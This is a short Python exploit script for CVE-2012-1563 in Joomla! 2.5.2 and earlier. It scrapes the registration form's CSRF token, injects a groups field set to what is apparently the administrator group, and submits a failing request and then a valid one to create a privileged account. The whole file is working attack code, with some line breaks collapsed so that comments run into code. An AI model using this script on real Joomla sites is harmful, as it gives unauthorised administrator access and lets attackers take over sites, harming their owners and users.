#!/usr/bin/python3# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation# cf# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-executionimport bs4
import requests
import random
url ='http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url +'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url +'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'
username ='user%d'% random.randrange(1000,10000)
email = username +'@yopmail.com'
password ='ActualRandomChimpanzee123'
user_data ={'name': username,'username': username,'password1': password,'password2': password +'XXXinvalid','email1': email,'email2': email,'groups][':'7'}
session = requests.Session()# Grab original data from the form, including the CSRF token
response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text,'lxml')
form = soup.find('form',id='member-registration')
data ={e['name']: e['value']for e in form.find_all('input')}# Build our modified data array
user_data ={'%s]'% k: v for k, v in user_data.items()}
data.update(user_data)# First request will get denied because the two passwords are mismatched
response = session.post(action_url, data=data)# The second will work
data['jform[password2]']= data['jform[password1]']del data['jform[groups][]']
response = session.post(action_url, data=data)print("Account created for user: %s [%s]"%(username, email))